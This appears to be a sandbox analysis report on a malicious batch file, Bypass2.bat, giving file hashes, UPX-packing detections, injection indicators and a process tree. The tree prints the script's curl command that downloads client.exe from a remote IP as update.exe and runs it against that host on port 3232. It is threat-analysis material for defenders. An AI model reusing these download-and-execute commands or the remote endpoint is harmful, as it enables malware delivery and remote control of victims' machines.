31631e03d0ff29c67bbb4bc6b42a1dbf07c519c02e4d4593bfb7b2730ee4259c

General

Target

Bypass2.bat
Size

132B
MD5

d734b7a49bc12ea5ec2b9b6a354daa65
SHA1

5f3423f5311bb2c18060c6ed70dfe7e7d3088940
SHA256

31631e03d0ff29c67bbb4bc6b42a1dbf07c519c02e4d4593bfb7b2730ee4259c
SHA512

e3aa8c5827d209ecbd7d267e50f09169bc248189c0e898503ffda508095a244471431124b4a1b106a21faae7bc917936f4c32612d4b9f45107658d0148e195f6

Score

8^/10

upx

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
4576	update.exe
2660	update.exe

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000002324e-2.dat	upx
behavioral2/files/0x000600000002324e-3.dat	upx
behavioral2/memory/4576-4-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/files/0x000600000002324e-5.dat	upx
behavioral2/memory/4576-6-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-7-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-8-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-9-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-10-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-12-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-13-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-14-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-15-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-16-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-17-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-18-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-19-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-20-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-21-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx
behavioral2/memory/2660-22-0x0000000001000000-0x0000000001B4F000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4576	update.exe
2660	update.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1172 wrote to memory of 3408	1172	cmd.exe	83
PID 1172 wrote to memory of 3408	1172	cmd.exe	83
PID 1172 wrote to memory of 4576	1172	cmd.exe	84
PID 1172 wrote to memory of 4576	1172	cmd.exe	84
PID 4576 wrote to memory of 2660	4576	update.exe	85
PID 4576 wrote to memory of 2660	4576	update.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Bypass2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\curl.exe
  curl http://13.39.110.1/client.exe --output update.exe
  2⤵
  PID:3408
- C:\Users\Admin\AppData\Local\Temp\Update\update.exe
  .\update.exe -d 13.39.110.1:3232
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Users\Admin\AppData\Local\Temp\Update\update.exe
    C:\Users\Admin\AppData\Local\Temp\Update\update.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2660

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Update\update.exe

Filesize
2.7MB

MD5
a2cb77c13a04d95c3cde606d42c3cc95

SHA1
47c2e0ad45c81ca14ad9a31b862d6fa9c0bf17a5

SHA256
063ecd1778abba690fdec037115318cac142c33900011315cbdee75ed54cbe4a

SHA512
c8e17caeb2455666afe286e58540b1f41fdc4432f1bc145ea391d337efbce44639da5faa37e7fb4a583823a5ecd30fc7237a00e0c737e7fe43b6b69107669277

Download Submit
C:\Users\Admin\AppData\Local\Temp\Update\update.exe

Filesize
2.7MB

MD5
a2cb77c13a04d95c3cde606d42c3cc95

SHA1
47c2e0ad45c81ca14ad9a31b862d6fa9c0bf17a5

SHA256
063ecd1778abba690fdec037115318cac142c33900011315cbdee75ed54cbe4a

SHA512
c8e17caeb2455666afe286e58540b1f41fdc4432f1bc145ea391d337efbce44639da5faa37e7fb4a583823a5ecd30fc7237a00e0c737e7fe43b6b69107669277

Download Submit
C:\Users\Admin\AppData\Local\Temp\Update\update.exe

Filesize
2.7MB

MD5
a2cb77c13a04d95c3cde606d42c3cc95

SHA1
47c2e0ad45c81ca14ad9a31b862d6fa9c0bf17a5

SHA256
063ecd1778abba690fdec037115318cac142c33900011315cbdee75ed54cbe4a

SHA512
c8e17caeb2455666afe286e58540b1f41fdc4432f1bc145ea391d337efbce44639da5faa37e7fb4a583823a5ecd30fc7237a00e0c737e7fe43b6b69107669277

Download Submit
memory/2660-13-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-15-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-7-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-8-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-9-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-10-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-12-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-22-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-14-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-21-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-16-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-17-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-18-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-19-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/2660-20-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/4576-6-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download
memory/4576-4-0x0000000001000000-0x0000000001B4F000-memory.dmp

Filesize
11.3MB

Download

Analysis

Sharing